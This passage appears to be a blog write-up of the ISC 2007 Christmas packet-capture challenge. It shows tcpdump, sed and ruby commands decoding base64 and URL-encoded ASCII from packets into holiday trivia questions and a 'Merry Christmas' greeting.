0x0070: 6447 686c 4948 526f 636d 566c 4948 4e77 dGhlIHRocmVlIHNw
0x0080: 6158 4a70 6448 4d67 5932 3974 5a53 4230 aXJpdHMgY29tZSB0
0x0090: 6279 4232 6158 4e70 6444 383d 0000 0000 byB2aXNpdD8=....
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................

If you have background in web application security or development, you will immediately recognize the encoding method used for the message. The = sign at the end of the payload is a dead giveaway. The message is base64 encoded.
$ tcpdump -c2 -qAr xmas_Starter.pcap  | tail -n1 | cut -c41- | base64 -di
In the movie A Christmas Carol, how many night(s) did the three spirits come to visit?

This is a trick question. There are several versions of this popular story. It will be misleading if you watched "Scrooge" (1951) where as far as I know the three ghosts only visited within a night, anyway it is titled "Scrooge" so it should not be considered. "A Christmas Carol" (1938) followed the originaly story closely where the ghosts visited three nights. My answer is 3.

Now let us move on to analyze xmas_challenge_2007.pcap. We can see that packet #3 also has a base64 encoded message.
$ tcpdump -c3 -qXr xmas_challenge_2007.pcap
13:13:17.274826 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c fbdd 0000 4006 ca59 c0a8 1964 E.......@..Y...d
0x0010: c0a8 1980 1ca9 03e8 63ee 8f61 6655 1db5 ........c..afU..
0x0020: 5002 0200 d73b 0000 5347 3933 4947 3168 P....;..SG93IG1h
0x0030: 626e 6b67 636d 5670 626d 526c 5a58 4967 bnkgcmVpbmRlZXIg
0x0040: 6348 5673 6243 4254 5957 3530 5953 647a cHVsbCBTYW50YSdz
0x0050: 4948 4e73 5a57 6c6e 6144 383d 0000 0000 IHNsZWlnaD8=....
0x0060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 ............
$ tcpdump -c3 -qAr xmas_challenge_2007.pcap | tail -n1 | cut -c41- | base64 -di
How many reindeer pull Santa's sleigh?

Answer can be 8 or 9 but the pcap does not have anything dissectable in packet 8. So I go for 9.
$ tcpdump -c9 -qXr xmas_challenge_2007.pcap
10:12:28.183217 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 132d 0000 4006 b30a c0a8 1964 E....-..@......d
0x0010: c0a8 1980 1ca9 03e8 746f e083 19de 2edf ........to......
0x0020: 5002 0200 b4fc 0000 5347 3933 4947 3168 P.......SG93IG1h
0x0030: 626e 6b67 6347 6c77 5a58 4a7a 4948 4270 bnkgcGlwZXJzIHBp
0x0040: 6347 6c75 5a79 426b 6157 5167 6258 6b67 cGluZyBkaWQgbXkg
0x0050: 6448 4a31 5a53 4273 6233 5a6c 4947 6470 dHJ1ZSBsb3ZlIGdp
0x0060: 646d 5567 6447 3867 6257 552f 0000 0000 dmUgdG8gbWU/....
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 ............
$ tcpdump -c9 -qAr xmas_challenge_2007.pcap | tail -n1 | cut -c41- | base64 -di
How many pipers piping did my true love give to me?

Answer is 11 based on the lyrics of "The Twelve Days of Christmas".
$ tcpdump -c11 -qXr xmas_challenge_2007.pcap
13:14:26.941309 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 7808 0000 4006 4e2f c0a8 1964 E...x...@.N/...d
0x0010: c0a8 1980 1ca9 03e8 4f56 5867 6958 24f5 ........OVXgiX$.
0x0020: 5002 0200 00a6 0000 5347 3933 4947 3168 P.......SG93IG1h
0x0030: 626e 6b67 5a47 4635 6379 4270 6269 4230 bnkgZGF5cyBpbiB0
0x0040: 6147 5567 6332 3975 5a79 4230 6147 5567 aGUgc29uZyB0aGUg
0x0050: 5831 3966 4945 5268 6558 4d67 6232 5967 X19fIERheXMgb2Yg
0x0060: 5132 6879 6158 4e30 6257 467a 5077 3d3d Q2hyaXN0bWFzPw==
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 ............
$ tcpdump -c11 -qAr xmas_challenge_2007.pcap | tail -n1 | cut -c41- | base64 -di
How many days in the song the ___ Days of Christmas?

Answer is "Twelve" or 12.
$ tcpdump -c12 -qXr xmas_challenge_2007.pcap
13:14:51.434820 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 82d5 0000 4006 4362 c0a8 1964 E.......@.Cb...d
0x0010: c0a8 1980 1ca9 03e8 7bbb 7120 5035 56b6 ........{.q.P5V.
0x0020: 5002 0200 6a4b 0000 5432 5967 6447 686c P...jK..T2YgdGhl
0x0030: 4944 4d32 4e53 426b 5958 6c7a 4947 6c75 IDM2NSBkYXlzIGlu
0x0040: 4948 6c6c 5958 4973 4948 646f 5958 5167 IHllYXIsIHdoYXQg
0x0050: 626e 5674 596d 5679 4947 6c7a 4945 4e6f bnVtYmVyIGlzIENo
0x0060: 636d 6c7a 6447 3168 6379 4245 5958 6b2f cmlzdG1hcyBEYXk/
0x0070: 4941 3d3d 0000 0000 0000 0000 0000 0000 IA==............
0x0080: 0000 0000 0000 0000 0000 0000 ............
$ tcpdump -c12 -qAr xmas_challenge_2007.pcap | tail -n1 | cut -c41- | base64 -di
Of the 365 days in year, what number is Christmas Day?

Answer is 359.

Packet #359 has something different for us, again if you have web application development background you will immediately recognize the URL encoded space (%20). After examining the message, I found out that the numbers without a percent sign in front are decimal values of ASCII characters. Should be easy to convert using the common CHR function in scripting languages.

Looking at the adjoining packets up to packet #365 we can see similar strings.
13:22:51.836149 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c f0b4 0000 4006 d582 c0a8 1964 E.......@......d
0x0010: c0a8 1980 1ca9 03e8 3eae 483d 73c9 ff0c ........>.H=s...
0x0020: 507f 0200 942f 0000 3837 2532 3031 3031 P..../..87%20101
0x0030: 2532 304e 554c 4c25 3230 3131 3925 3230 %20NULL%20119%20
0x0040: 3130 3525 3230 3131 3525 3230 3130 3425 105%20115%20104%
0x0050: 3230 4e55 4c4c 2532 3031 3231 2532 3031 20NULL%20121%201
0x0060: 3131 2532 3031 3137 2532 304e 554c 4c25 11%20117%20NULL%
0x0070: 3230 3937 2532 304e 554c 4c25 3230 3737 2097%20NULL%2077
0x0080: 2532 3031 3031 2532 3031 3134 %20101%20114
13:22:52.830623 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 1279 0000 4006 b3be c0a8 1964 E....y..@......d
0x0010: c0a8 1980 1ca9 03e8 4a7f 9007 2456 4dcf ........J...$VM.
0x0020: 507f 0200 ed73 0000 2532 3031 3134 2532 P....s..%20114%2
0x0030: 3031 3231 2532 304e 554c 4c25 3230 3637 0121%20NULL%2067
0x0040: 2532 3031 3034 2532 3031 3134 2532 3031 %20104%20114%201
0x0050: 3035 2532 3031 3135 2532 3031 3136 2532 05%20115%20116%2
0x0060: 3031 3039 2532 3039 3725 3230 3131 3525 0109%2097%20115%
0x0070: 3230 3434 2530 4425 3041 3837 2532 3031 2044%0D%0A87%201
0x0080: 3031 2532 304e 554c 4c25 3230 01%20NULL%20
13:22:53.830478 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c e1af 0000 4006 e487 c0a8 1964 E.......@......d
0x0010: c0a8 1980 1ca9 03e8 65bf a696 0f4f e5c7 ........e....O..
0x0020: 507f 0200 ba79 0000 3131 3925 3230 3130 P....y..119%2010
0x0030: 3525 3230 3131 3525 3230 3130 3425 3230 5%20115%20104%20
0x0040: 4e55 4c4c 2532 3031 3231 2532 3031 3131 NULL%20121%20111
0x0050: 2532 3031 3137 2532 304e 554c 4c25 3230 %20117%20NULL%20
0x0060: 3937 2532 304e 554c 4c25 3230 3737 2532 97%20NULL%2077%2
0x0070: 3031 3031 2532 3031 3134 2532 3031 3134 0101%20114%20114
0x0080: 2532 3031 3231 2532 304e 554c %20121%20NUL
13:22:54.830782 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 122a 0000 4006 b40d c0a8 1964 E....*..@......d
0x0010: c0a8 1980 1ca9 03e8 095a 4219 2a3a 55ee .........ZB.*:U.
0x0020: 507f 0200 59ea 0000 4c25 3230 3637 2532 P...Y...L%2067%2
0x0030: 3031 3034 2532 3031 3134 2532 3031 3035 0104%20114%20105
0x0040: 2532 3031 3135 2532 3031 3136 2532 3031 %20115%20116%201
0x0050: 3039 2532 3039 3725 3230 3131 3525 3230 09%2097%20115%20
0x0060: 3434 2530 4425 3041 3837 2532 3031 3031 44%0D%0A87%20101
0x0070: 2532 304e 554c 4c25 3230 3131 3925 3230 %20NULL%20119%20
0x0080: 3130 3525 3230 3131 3525 3230 105%20115%20
13:22:55.831587 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 8aa7 0000 4006 3b90 c0a8 1964 E.......@.;....d
0x0010: c0a8 1980 1ca9 03e8 7e22 3765 21d9 1d4e ........~"7e!..N
0x0020: 507f 0200 d40e 0000 3130 3425 3230 4e55 P.......104%20NU
0x0030: 4c4c 2532 3031 3231 2532 3031 3131 2532 LL%20121%20111%2
0x0040: 3031 3137 2532 304e 554c 4c25 3230 3937 0117%20NULL%2097
0x0050: 2532 304e 554c 4c25 3230 3737 2532 3031 %20NULL%2077%201
0x0060: 3031 2532 3031 3134 2532 3031 3134 2532 01%20114%20114%2
0x0070: 3031 3231 2532 304e 554c 4c25 3230 3637 0121%20NULL%2067
0x0080: 2532 3031 3034 2532 3031 3134 %20104%20114
13:22:56.830584 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c 26f4 0000 4006 9f43 c0a8 1964 E...&...@..C...d
0x0010: c0a8 1980 1ca9 03e8 251c 5084 63e7 5cb8 ........%.P.c.\.
0x0020: 507f 0200 f3e5 0000 2532 3031 3035 2532 P.......%20105%2
0x0030: 3031 3135 2532 3031 3136 2532 3031 3039 0115%20116%20109
0x0040: 2532 3039 3725 3230 3131 3525 3044 2530 %2097%20115%0D%0
0x0050: 4139 3725 3230 3131 3025 3230 3130 3025 A97%20110%20100%
0x0060: 3230 4e55 4c4c 2532 3039 3725 3230 4e55 20NULL%2097%20NU
0x0070: 4c4c 2532 3037 3225 3230 3937 2532 3031 LL%2072%2097%201
0x0080: 3132 2532 3031 3132 2532 3031 12%20112%201
13:22:57.830542 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 100
0x0000: 4500 008c c07f 0000 4006 05b8 c0a8 1964 E.......@......d
0x0010: c0a8 1980 1ca9 03e8 02f9 f070 20e0 8819 ...........p....
0x0020: 507f 0200 34c3 0000 3231 2532 304e 554c P...4...21%20NUL
0x0030: 4c25 3230 3738 2532 3031 3031 2532 3031 L%2078%20101%201
0x0040: 3139 2532 304e 554c 4c25 3230 3839 2532 19%20NULL%2089%2
0x0050: 3031 3031 2532 3039 3725 3230 3131 3425 0101%2097%20114%
0x0060: 3230 3333 2532 3033 3325 3230 3333 0a00 2033%2033%2033..
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 ............


PKT#359: 87%20101%20NULL%20119%20105%20115%20104%20NULL%20121%20111
%20117%20NULL%2097%20NULL%2077%20101%20114
PKT#360: %20114%20121%20NULL%2067%20104%20114%20105%20115%20116
%20109%2097%20115%2044%0D%0A87%20101%20NULL%20
PKT#361: 119%20105%20115%20104%20NULL%20121%20111%20117%20NULL%2097
%20NULL%2077%20101%20114%20114%20121%20NUL
PKT#362: L%2067%20104%20114%20105%20115%20116%20109%2097%20115
%2044%0D%0A87%20101%20NULL%20119%20105%20115%20
PKT#363: 104%20NULL%20121%20111%20117%20NULL%2097%20NULL%2077%20101
%20114%20114%20121%20NULL%2067%20104%20114
PKT#364: %20105%20115%20116%20109%2097%20115%0D%0A97%20110
%20100%20NULL%2097%20NULL%2072%2097%20112%20112%201
PKT#365: 21%20NULL%2078%20101%20119%20NULL%2089%20101%2097
%20114%2033%2033%2033


URL encoded space(%20) converted to a null character and NULL to a literal space (32). %0D%0A converted to decimal (13,10).
echo -n "87%20101%20NULL%20119%20105%20115%20104%20NULL%20121%20111%20117
%20NULL%2097%20NULL%2077%20101%20114%20114%20121%20NULL%2067%20104%20114
%20105%20115%20116%20109%2097%20115%2044%0D%0A87%20101%20NULL%20119%20105
%20115%20104%20NULL%20121%20111%20117%20NULL%2097%20NULL%2077%20101%20114
%20114%20121%20NULL%2067%20104%20114%20105%20115%20116%20109%2097%20115
%2044%0D%0A87%20101%20NULL%20119%20105%20115%20104%20NULL%20121%20111%20117
%20NULL%2097%20NULL%2077%20101%20114%20114%20121%20NULL%2067%20104%20114
%20105%20115%20116%20109%2097%20115%0D%0A97%20110%20100%20NULL%2097%20NULL
%2072%2097%20112%20112%20121%20NULL%2078%20101%20119%20NULL%2089%20101
%2097%20114%2033%2033%2033" \
| sed -e 's/%20/\n/g' -e 's/%0D%0A/\n13\n10\n /g' -e 's/NULL/32/g' \
| ruby -ne 'p $_.to_i.chr' \
| tr -d '"' \
| tr -d '\n' \
| sed 's/\\r\\n/\r\n/g'
We wish you a Merry Christmas,
We wish you a Merry Christmas,
We wish you a Merry Christmas
and a Happy New Year!!!

Per packet conversion:
PKT#359: We wish you a Mer
PKT#360: ry Christmas,\r\nWe
PKT#361: wish you a Merry
PKT#362: Christmas,\r\nWe wis
PKT#363: h you a Merry Chr
PKT#364: istmas\r\nand a Happ
PKT#365: y New Year!!!

The message from ISC handlers to everyone:
We wish you a Merry Christmas,
We wish you a Merry Christmas,
We wish you a Merry Christmas
and a Happy New Year!!!


ISC have not posted the results yet, I hope my Xmas trivia answers are correct.

Update(20080107): ISC released the answers. My answer to the "A Christmas Carol" question is wrong, partly because the challenge author did not know that there exist several movie adaptations. But my final answer is correct because even if the correct answer to the question is "1" the challenge will still have a pass at packet 3, coincidence?. ISC also lists my name along with other people who sent in correct solutions. Thanks to ISC for the challenge.

Happy New Year!